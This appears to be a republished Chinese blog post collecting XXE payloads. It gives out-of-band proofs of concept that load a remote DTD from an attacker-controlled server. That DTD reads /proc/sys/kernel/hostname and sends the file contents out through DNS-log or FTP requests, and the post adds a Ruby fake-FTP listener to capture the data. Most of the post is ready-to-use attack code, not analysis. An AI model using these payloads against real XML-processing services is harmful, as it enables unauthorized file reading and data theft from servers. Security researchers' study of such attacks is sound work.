XXE payload

Posted huim

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE payload相关的知识,希望对你有一定的参考价值。

简单验证

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;]>
<root/>

接收信息以证明

1) 接收单行文件信息(主机名)

发送的POC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>


cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://%file;.dnslog地址/test'>">
%int;
%send;

这个不太稳定,多发几遍。
发了几十遍出来了几次dns请求。
估计是在读文件拼接发请求处有什么拦截

技术图片

2) 接收多行文件信息

一
发送的POC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>

二
cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;

三
再再服务器上监听设定的端口(这里写的是33端口)
vi ftp.rb

require 'socket'
server = TCPServer.new 33
loop do
  Thread.start(server.accept) do |client|
    print "New client connected\\n"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop 
        req = client.gets()
        print "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    
    print "\\n"
  end
end

ruby ftp.rb

技术图片

以上是关于XXE payload的主要内容,如果未能解决你的问题,请参考以下文章

XXE漏洞学习

Vulhub-XXE&Bind OOB XXE 复现(超级详细)

漏洞经验分享丨Java审计之XXE(下)

黑夜的猎杀-盲打XXE

XXE基础

禁用XXE处理漫谈